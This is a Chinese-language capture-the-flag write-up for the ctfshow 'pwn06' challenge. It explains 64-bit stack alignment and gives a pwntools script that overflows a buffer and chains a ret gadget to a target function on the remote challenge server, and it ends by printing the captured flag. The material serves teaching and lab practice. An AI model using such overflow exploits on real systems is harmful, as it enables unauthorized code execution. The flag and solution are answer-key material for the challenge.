pwn06(关于64位程序堆栈平衡的处理)

简介: pwn06(关于64位程序堆栈平衡的处理)

堆栈平衡:

当我们在堆栈中进行堆栈的操作的时候,一定要保证在RET这条指令之前,ESP指向的是我们压入栈中的地址,函数执行到ret执行之前,堆栈栈顶的地址 一定要是call指令的下一个地址。

简单检查一下,发现是64位程序

同样放进IDA反编译main函数,得到伪代码

只有一个welcome函数,双击跟进

存在栈溢出

我们开始找需要利用的函数的地址(函数开始的地址)

400577

对于32位程序我们只需要这个地址;

但是对于64位程序,我们还需要找 lev 的地址或者该函数结束即 retn 的地址

40057B 或者 40058E 都可以,构造payload时将该地址放在函数开始地址之前

我们再找距离 (造成栈溢出的函数到栈底的距离)

32位里我们找的ebp,64位里叫rbp

这里是C,十六进制的C也就是12

我们前面说过,距离还需要再加上栈底的字节大小,32位是加4,64位是加8

同样这里主函数没有输出东西,因此不需要调用接收函数

编写exp脚本:

from pwn import *
p =remote("pwn.challenge.ctf.show",28138)
payload = b"a" * (0xC+8)+ p64(0x40058E) + p64(0x400577) 
p.send(payload)
p.interactive()

#使用40057B也是可以的,前面也可以将结果加出来,C就是12,12+8=20,换成16进制就是0x14

使用python运行脚本

执行命令拿到flag

ctfshow{91ec74ab-3b94-4848-8495-2889971c5a1b}

目录
相关文章
|
6月前
|
Linux 编译器 程序员
【Linux 调试秘籍】深入探索 C++:运行时获取堆栈信息和源代码行数的终极指南
【Linux 调试秘籍】深入探索 C++:运行时获取堆栈信息和源代码行数的终极指南
581 0
|
5月前
|
存储 程序员 编译器
C/C++堆栈详细分析,新老程序员必会
C/C++堆栈详细分析,新老程序员必会
162 1
|
6月前
|
存储 算法
[数据启示录 02] 堆栈
[数据启示录 02] 堆栈
39 0
|
6月前
|
Ubuntu 架构师 Linux
内存泄露专题(5)动态内存追踪大杀器:bcc
内存泄露专题(5)动态内存追踪大杀器:bcc
140 0
|
11月前
|
NoSQL Shell Python
pwn05(应对简单栈溢出的常规套路)
pwn05(应对简单栈溢出的常规套路)
76 1
|
编译器
出现段错误的常见原因与解决方案(一步解决)
出现段错误的常见原因与解决方案(一步解决)
362 0
理论:第十三章:堆溢出,栈溢出的出现场景以及解决方案
理论:第十三章:堆溢出,栈溢出的出现场景以及解决方案
179 0
理论:第十三章:堆溢出,栈溢出的出现场景以及解决方案
|
存储 算法 Unix
C/C++:堆栈面面观(二)
学习C语言,我们都听过堆(heap)和栈(stack)的概念。也是C/C++码农面试的常见考点,今天带大家来深入浅出一下。本文写于大四,写作初衷也是来自于曾经的面试经历、大学课程所学以及各种网络资料,融合《CSAPP》的读书感悟总结而成。需要注意的是:有些地方“堆栈”这个词特指的是栈,而不是堆和栈。命名约定:本文中堆栈一次出现的地方,指的是两种东西,而非一种。
222 0
C/C++:堆栈面面观(二)
|
存储 算法 前端开发
C/C++:堆栈面面观(一)
学习C语言,我们都听过堆(heap)和栈(stack)的概念。也是C/C++码农面试的常见考点,今天带大家来深入浅出一下。本文写于大四,写作初衷也是来自于曾经的面试经历、大学课程所学以及各种网络资料,融合《CSAPP》的读书感悟总结而成。需要注意的是:有些地方“堆栈”这个词特指的是栈,而不是堆和栈。命名约定:本文中堆栈一次出现的地方,指的是两种东西,而非一种。
186 0
C/C++:堆栈面面观(一)
|
NoSQL Linux 编译器
嵌入式Linux应用崩溃调试-难以追踪的栈信息
在进行嵌入式Linux应用程序开发时,经常会用到gdb对崩溃日志进行分析,一般情况下,可以直接定位到崩溃的位置。但有时分析core文件时,却看不到有意义的崩溃栈,这时问题就有点复杂了,出现这种现象的原因可能有这么几个
813 0